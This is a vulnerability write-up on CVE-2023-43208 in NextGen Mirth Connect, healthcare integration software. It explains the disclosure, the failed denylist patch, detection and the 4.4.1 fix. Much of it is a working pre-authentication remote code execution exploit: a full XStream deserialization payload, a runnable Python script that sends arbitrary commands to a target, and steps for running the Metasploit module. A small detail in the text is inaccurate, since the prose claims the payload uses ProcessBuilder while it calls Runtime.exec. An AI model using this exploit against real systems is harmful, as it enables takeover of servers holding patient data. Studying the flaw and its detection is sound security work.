Screenshots from the blog posts
PoC video
Summary
CVE-2023–43208 is a serious security bug in NextGen Mirth Connect, a tool used by hospitals and clinics to share patient data. This bug lets hackers break into the system without needing a password. Since Mirth Connect is widely used in healthcare, fixing this bug quickly is crucial to protect patient information.
Description
Introduction
CVE-2023–43208 is a serious security bug in NextGen Mirth Connect, a tool used by hospitals and clinics to share patient data. This bug lets hackers break into the system without needing a password. Since Mirth Connect is widely used in healthcare, fixing this bug quickly is crucial to protect patient information.
The bug came to light after an earlier problem, CVE-2023–37679 was supposed to be fixed — see the first part of this analysis dealing with that CVE. However, the fix wasn’t enough, leading to the discovery of CVE-2023–43208. This new issue affects all versions of Mirth Connect up to 4.4.0 and needs an update to version 4.4.1 to be safe.
Impact
CVE-2023–43208 is a critical vulnerability that enables attackers without authentication to run code remotely on affected systems. This poses a significant risk to healthcare systems by potentially allowing unauthorized access or exposing sensitive data. Mirth Connect, often installed on Windows systems with SYSTEM
privileges, amplifies this threat. With over 135,000 management interface listings on Shodan, despite recommendations against such exposure, the impact is notably severe.
Timeline
Here is the timeline of the most important happenings related to this vulnerability:
- Sept. 8, 2023: Horizon3.ai sends initial vulnerability report to NextGen.
- Sept. 8, 2023: NextGen acknowledges receipt of the report.
- Oct. 6, 2023: NextGen provides Horizon3.ai with a test build for 4.4.1.
- Oct. 13, 2023: Horizon3.ai completes testing and review of the test build.
- Oct. 17, 2023: NextGen releases version 4.4.1, addressing the vulnerability.
- Oct. 25, 2023: Horizon3.ai publishes its findings and recommendations.
The collaboration between Horizon3.ai and NextGen, along with the initial discovery by IHTeam, highlights the importance of community engagement in identifying and mitigating cybersecurity threats in critical infrastructure like healthcare IT.
Static analysis
The patch incomplete
The initial patch for CVE-2023–37679 attempted to mitigate the vulnerability by implementing a denylist in the XStreamSerializer
class. This denylist was designed to block the deserialization of known dangerous classes that could be exploited to execute code remotely.
The security model of XStream initially relied heavily on a denylist (also known as a blacklist) approach. This approach involves specifying a list of classes or actions that are not allowed or are considered unsafe. The main idea behind this method is to prevent known dangerous or unwanted behavior by explicitly blocking it. Over the years, XStream has made efforts to improve its security posture, including introducing and enhancing allowlist mechanisms.
However, this approach is fundamentally flawed for several reasons:
- Completeness: It’s challenging to ensure the denylist is comprehensive, as it requires anticipating all possible malicious classes.
- Bypass techniques: Attackers can often find alternative classes or methods not covered by the denylist to achieve their objectives.
- Third-party libraries: The application might use classes from third-party libraries that are not covered by the denylist but can still be exploited.
So the patch for CVE-2023–37679 was bypassed by researchers. They identified that by leveraging classes from external libraries not included in the denylist, they could again execute arbitrary code.
Bypassing
After the researchers developed a universal exploit for CVE-2023–37679 effective against Mirth Connect versions up to 4.3.0 working with all Java versions, the next challenge was to overcome the CVE-2023–37679 patch in version 4.4.0, which introduced a denylist blocking specific unsafe class unmarshalling.
The patch’s denylist was inspired by XStream’s older security recommendations, which don’t cover classes from third-party libraries:
You can see that the patch is almost the same (with different order of the items):
XStream itself warns about the potential security risks posed by external libraries, implying that the security measures may not be comprehensive against all possible attack vectors involving third-party classes:
The solution involved finding a bypass using a class not on the denylist, exploiting third-party libraries not covered by XStream’s updated security measures. The approach shifted towards using the InvokerTransformer
class as a substitute for the ProcessBuilder
class, leading to the development of a new effective payload.
The XML payload becomes this:
<sorted-set>
<string>ABCD</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>{cmd}</string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>
This payload leverages the deserialization vulnerability via the XStream library, still manipulating the sorted-set
XML structure to execute arbitrary commands, just like the previous payload introduced in the first part of this analysis. It also utilizes the dynamic proxy and chain transformations to ultimately invoke a command execution on the runtime environment.
This technique exploits the InvokerTransformer
class from the Apache Commons Collections library to dynamically invoke methods. This payload directly uses the java.lang.ProcessBuilder
class within its structure, aiming to execute a shell command directly. This is a more straightforward approach compared to the first payload, which relied on a series of transformers to indirectly achieve command execution.
Reproducing the vulnerability
Lab setup
We will use JDK 17 for now.
Mirth Connect installers are available for all operating systems (Windows, Linux, Mac OS X) but now we will use our old friend Kali.
Download the prepackage release for Linux first:
# repo: https://github.com/nextgenhealthcare/connect/releases
wget https://s3.amazonaws.com/downloads.mirthcorp.com/connect/4.4.0.b2948/mirthconnect-4.4.0.b2948-unix.sh
chmod +x ./mirthconnect-4.4.0.b2948-unix.sh./mirthconnect-4.4.0.b2948-unix.sh
The magical setup window starts immediately:
Hit Next
a couple of times with the default settings.
Check the “Run the Mirth Connect Server Manager” when asked.
Another installation of the Mirth Connect Administration will start.
Since we are using Java 9+, the official README
suggest the following:
In order to run Mirth Connect in Java 9 or greater, copy the options from docs/mcservice-java9+.vmoptions and append them to either mcserver.vmoptions or mcservice.vmoptions, depending on your deployment. Then restart Mirth Connect.
So before proceeding, let’s add the necessary JVM options:
cat /opt/mirthconnect/docs/mcservice-java9+.vmoptions >> /opt/mirthconnect/mcserver.vmoptions
Launch the Administrator when prompted:
The necessary stuff will be downloaded and then we get a login window. Use “admin” for both username and password.
If you get an error, just wait a minute and try again till the app boots up.
The password should be changed immediately for security purposes during initialization. After submitting some data and changing the password, the Mirth Connect Administration is running:
The version of Mirth Connect can be determined using a simple command-line request.
curl -k -H 'X-Requested-With: OpenAPI' https://localhost:8443/api/server/versio
It shows the installed version 4.4.0
:
Any server reporting a version less than 4.4.1 is likely to be vulnerable.
Exploiting
Based on the Metasploit module and Horizon3.ai-s article about the finding I created a multiplatform exploit script. You find it in this repo and here:
import argparse
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def generate_payload(command, platform):
if platform.lower() == "win":
cmd = f"cmd.exe /c \"{command}\""
else:
cmd = f"{command}"
xml_payload = f"""
<sorted-set>
<string>ABCD</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>{cmd}</string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>
"""
return xml_payload
def exploit(target_url, command, platform):
payload = generate_payload(command, platform)
headers = {
'Content-Type': 'application/xml',
'X-Requested-With': 'OpenAPI'
}
try:
response = requests.post(f"{target_url}/api/users", data=payload, headers=headers, verify=False)
if response.status_code == 500:
print("The target appears to have executed the payload.")
else:
print("Failed to execute the payload.")
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
def main():
parser = argparse.ArgumentParser(description='Exploit script for CVE-2023-43208.')
parser.add_argument('-c', '--command', required=True, help='Command to execute on the target system.')
parser.add_argument('-u', '--url', required=True, help='Target URL.')
parser.add_argument('-p', '--platform', default='unix', choices=['unix', 'win'], help='Target platform (default: unix).')
args = parser.parse_args()
exploit(args.url, args.command, args.platform)
if __name__ == "__main__":
main()
Save this file as exploit.py
. To check whether the exploit works we will create a file at /tmp/proof
. In a real-world scenario, the attacker and the host machine is different of course, but for demonstration purposes, we will use the same machine for both.
And it works. Yay!
Metasploit module
Click here for the MetaSploit exploit script and here for the history of it.
Running the MetaSploit module is easy.
First, download the file and copy it to Metasploit’s corresponding folder:
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/mirth_connect_cve_2023_43208.rb
mv mirth_connect_cve_2023_43208.rb /usr/share/metasploit-framework/modules/exploits/multi/http/
Start Metasploit with the command msfconsole
. Then, use the following commands to set up the proper configs:
use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOST localhost
set LHOST localhost
run
Detection
The version of Mirth Connect can be determined using a simple command-line request:
curl -k -H 'X-Requested-With: OpenAPI' https://localhost:8443/api/server/version
However, a simple detection script is also developed in Python:
import sys
import urllib3
import requests
from packaging import version
from urllib.parse import urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def get_valid_url(url):
try:
result = urlparse(url)
result = result.scheme + '://' + result.netloc
return result
except ValueError:
return False
def check_vulnerability(url):
try:
headers = {'X-Requested-With': 'OpenAPI'}
response = requests.get(f"{url}/api/server/version", headers=headers, verify=False)
if response.status_code == 200:
server_version = response.text.strip('"')
print(f"Server version: {server_version}")
if version.parse(server_version) < version.parse("4.4.0"):
print("Vulnerable to CVE-2023-37679 and CVE-2023-43208.")
elif version.parse(server_version) == version.parse("4.4.0"):
print("Vulnerable to CVE-2023-43208.")
else:
print("This version is safe.")
else:
print("Error: Failed to fetch server version.")
except requests.exceptions.RequestException as e:
print(f"Request Error: {e}")
def main():
if len(sys.argv) != 2:
print("Usage: python3 detection.py <url>")
sys.exit(1)
url = get_valid_url(sys.argv[1])
if not url:
print("Invalid URL. Please include full URL (e.g., https://example.com).")
sys.exit(1)
check_vulnerability(url)
if __name__ == "__main__":
main()
Servers reporting a version less than 4.4.1 are likely vulnerable to exploitation. Administrators must verify their Mirth Connect version and assess their exposure to this vulnerability.
A more robust patch
In response to these findings, a more robust solution was implemented in Mirth Connect version 4.4.1, which replaced the denylist approach with an explicit allowlist. Of course, they mention it on their GitHub release page:
This allowlist specifies exactly which classes are safe to unmarshal, significantly reducing the risk of exploitation by only permitting known-safe classes to be processed. This approach is generally considered more secure than a denylist because it operates on the principle of denying all by default and only allowing specific, vetted classes.
The primary recommendation for mitigating this vulnerability is to update Mirth Connect to version 4.4.1 or later. Prompt updating is advised to protect against potential exploits targeting this vulnerability.
Final thoughts
In conclusion, the background of CVE-2023–37679 and CVE-2023–43208 in Mirth Connect illustrates the challenges in preventing RCE vulnerabilities in applications that deserialize untrusted data. CVE-2023–43208 is a wake-up call for anyone using Mirth Connect to make sure their systems are up to date. Hackers are always looking for ways in, and this bug is a clear path for them.
The initial patch’s inadequacy highlights the challenges in securing complex software applications and the importance of adopting comprehensive security measures that consider various attack vectors and exploitation techniques. The transition from a denylist to an allowlist approach in subsequent patches represents a more robust and secure method for protecting against deserialization attacks.
By updating to Mirth Connect 4.4.1 or later, you can close this door and keep patient data safe. Always stay alert for updates and fixes to keep your systems secure.
Resources
- https://www.horizon3.ai/attack-research/attack-blogs/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/
- https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/
- https://www.ihteam.net/advisory/mirth-connect/
- https://www.shodan.io
- https://www.healthcareitnews.com/news/nextgen-interoperability-tool-vulnerable-rce-attack
- https://www.nextgen.com/solutions/interoperability/mirth-integration-engine
- https://x-stream.github.io/
- https://nvd.nist.gov/vuln/detail/CVE-2023-37679
- https://github.com/rapid7/metasploit-framework/pull/18755
- https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MIRTH_CONNECT_CVE_2023_43208-
- https://github.com/nextgenhealthcare/connect
- https://github.com/nextgenhealthcare/connect/wiki/Clone-Build-and-Run-from-Source